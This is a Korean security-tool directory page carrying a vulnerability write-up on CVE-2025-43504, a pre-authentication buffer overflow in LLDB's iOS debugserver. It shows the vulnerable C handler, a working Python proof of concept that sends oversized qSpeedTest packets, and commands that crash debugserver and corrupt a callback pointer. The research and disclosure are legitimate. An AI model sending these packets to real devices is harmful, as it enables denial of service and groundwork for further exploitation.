Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-43504 — CVE-2025-43504에 대한 기술 심층 분석: iOS용 LLDB의 debugserver에서 발생하는 원격 사전 인증 전역 버퍼 오버플로우로, PoC 코드와 익스플로잇 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/calysteon/cve-2025-43504
iOS SecurityVulnerability AnalysisExploitationDebuggersPapers & ResearchLearning & EducationBinary Exploitation
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

CVE-2025-43504에 대한 기술 심층 분석: iOS용 LLDB의 debugserver에서 발생하는 원격 사전 인증 전역 버퍼 오버플로우로, PoC 코드와 익스플로잇 분석을 포함합니다.

저장소 보기
1710개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

좋은 /bin이 나쁘게 변할 때: LLDB의 debugserver에서 발견된 원격 사전 인증 오버플로우


서론

어릴 적, 저는 동네 월마트의 DVD 할인 통을 뒤지는 것을 늘 즐겼습니다. 위에는 똑같은 영화들이 많이 놓여 있었지만, 실제로 깊이 뒤적이다 보면 더 흥미롭고 마니아적인 타이틀을 발견할 수 있었죠.

프로그램이 버퍼를 오버플로우할 때, 여러분은 본질적으로 그 프로그램의 할인 통에 손을 집어넣는 셈입니다. 손을 얼마나 깊이 넣느냐에 따라 DVD——즉, 이 경우에는 메모리에서 덮어쓰이는 구조체들——이 달라질 수 있습니다.

오늘의 할인 /bin은 CVE-2025-43504입니다: 제가 LLDB의 debugserver에서 발견한 원격 사전 인증 전역 버퍼 오버플로우입니다.

어떻게 여기까지 오게 되었을까?

애플리케이션 개발 과정에서 개발자들은 실제 iOS 기기에서 앱을 디버깅해야 할 필요성을 자주 느낍니다. 이를 위해 Xcode는 대상 iPhone에 Developer Disk Image를 마운트한 다음 해당 기기와 페어링합니다.

페어링이 완료되면 macOS 호스트는 클라이언트에 설치된 debugserver를 사용해 iOS 클라이언트와 통신할 수 있습니다. 따라서 기기의 debugserver에 GDB-remote 세션을 수립할 수 있는 모든 클라이언트는 qSpeedTest 핸들러에 도달해 취약한 버퍼를 오버플로우시킬 수 있습니다.

Apple이 CVE-2025-43504를 어떻게 분류했는지 더 잘 이해하기 위해 Xcode 26.1 보안 릴리스 페이지를 살펴보겠습니다:

CVE-2025-43504

현대적인 소프트웨어 완화 기술 덕분에 Apple은 버퍼 오버플로우를 메모리 손상 프리미티브라기보다 주로 서비스 거부(denial-of-service) 문제로 간주합니다. 오늘 살펴보겠지만, 공격자가 임의 코드 실행을 달성하려면 여러 장애물을 극복해야 하고 이 문제를 다른 버그와 짝지어야 할 가능성이 높다는 점에서 이는 대체로 사실입니다.

Pwn에게는 작은 한 걸음, Pwn 인류에게는 거대한 도약

패치 이전 버전의 debugserver로 직접 실험해 보고 싶다면 다음 커밋 또는 ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de 이전의 아무 커밋이나 사용하세요:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

더 큰 디버거가 필요할 겁니다

RNBRemote.cpp의 패치 이전에는 iOS 기기의 debugserver에 연결할 수 있는 모든 원격 사용자가 사전 인증(pre-authentication) 상태의 qSpeedTest 패킷을 RNBRemote::HandlePacket_qSpeedTest로 보내 debugserver의 전역 데이터 세그먼트에 있는 인접 구조체들을 손상시킬 수 있었습니다.

하지만 중요한 조건이 하나 있습니다: 우리는 손상의 길이만 제어할 수 있다는 점입니다. 페이로드의 내용은 'a' 문자 연속으로 고정되어 있습니다. 학생들이 꾸준히 높은 점수를 받으면 좋아하겠지만, 실제로 쓰이는 바이트를 제어할 수 없고 오직 'a'의 홍수가 얼마나 멀리까지 가는지만 제어할 수 있다는 사실 때문에 이 오버플로우의 실질적인 유용성은 크게 제한됩니다.

이제 RNBRemote::HandlePacket_qSpeedTest의 내부를 들여다보며 정확히 무슨 일이 벌어지는지 확인해 보겠습니다:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

RNBRemote::HandlePacket_qSpeedTest()의 역할은 iOS 기기의 debugserver 바이너리와 통신할 수 있는 원격 사용자에게 인증을 요구하지 않고 수신되는 qSpeedTest:response_size:<hex>; 패킷을 처리하는 것입니다.

그러나 원격 사용자가 debugserver에 qSpeedTest:response_size:<hex>; 패킷을 보낼 수 있게 되면, debugserver는 사용자가 제공한 response_size를 처리하기 전에 어떤 인증 검사도 수행하지 않습니다. 따라서 Developer Disk Image가 마운트된 iOS 기기와 통신할 수 있는 모든 사용자는 qSpeedTest:response_size:<hex>; 패킷을 통해 debugserver를 오버플로우시킬 수 있습니다.

그냥 계속 헤엄쳐, 헤엄쳐, 헤엄쳐

이제 취약한 함수 RNBRemote::HandlePacket_qSpeedTest()에 도달했으니 오버플로우가 정확히 어떻게 발생하는지 살펴보겠습니다. 먼저 qSpeedTest:response_size:<hex>; 패킷에 포함된 사용자 제공 크기 <hex>가 추출되어 response_size 변수에 저장됩니다:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

파싱이 성공하고 다음 문자가 세미콜론이면, 함수-로컬 정적 4 MiB + 16바이트 버퍼 g_data가 초기화되고 ASCII 헤더 "data:"로 시드됩니다:

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

아차, 또 해버렸네

이제 모든 것을 종합하면, memset은 사용자가 제어하는 response_size 값을 'a'의 개수로 사용하여 정적 4 MiB + 16바이트 버퍼 g_data를 'a'로 채웁니다.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

따라서 원격 LLDB 클라이언트가 4 MiB + 16바이트 버퍼보다 큰 response_size가 포함된 qSpeedTest:response_size:<hex>; 패킷을 보낼 때마다 버퍼 오버플로우가 발생하여 debugserver의 전역 데이터 세그먼트(.bss)에 저장된 인접 전역 변수들이 손상됩니다.

좋은 bin들이 나빠질 때

이제 오버플로우 뒤에 있는 구조를 이해했으니, 취약점의 실제 메커니즘을 자세히 살펴보겠습니다. 먼저 다음 Python 프로그램을 사용하여 g_data 오버플로우를 통해 얻을 수 있는 손상 프리미티브를 탐색해 보겠습니다:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: 크래시 없음

debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 4004AB를 제공합니다:

python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

debugserver가 크래시하지 않고 정상적으로 응답하는 것을 확인할 수 있습니다:

크래시 없음

기술적으로는 경계를 벗어났지만, g_data가 \0 바이트로 종료되므로 이웃한 로깅 함수 포인터 g_log_callback은 NULL 바이트로만 덮이게 되어 포인터 전체가 NULL로 유지됩니다.

response_size 0x4004AC - 0x40052B: 첫 번째 버스 오류

debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 0x4004AC를 제공합니다:

python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

맙소사!

첫 번째 버스 오류

추가 바이트 하나를 더 제공함으로써 NULL 꼬리를 지나쳐 이웃한 g_log_callback 포인터를 0x61 값으로 역참조하게 되어 크래시가 발생했습니다. 이제 --size 매개변수를 계속 1씩 증가시키면서 어떤 일이 일어나는지 확인해 보겠습니다:

오버플로우 타임랩스

보시다시피 이제 g_log_callback의 값을 제어할 수 있습니다. 음, 부분적으로는요. 실제로는 g_log_callback에서 0x61과 같아질 바이트 수만 제어할 수 있습니다.

이 현상은 _DNBLogVAPrintf에서 발생하는 것을 확인할 수 있습니다:

static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}
도구 다운로드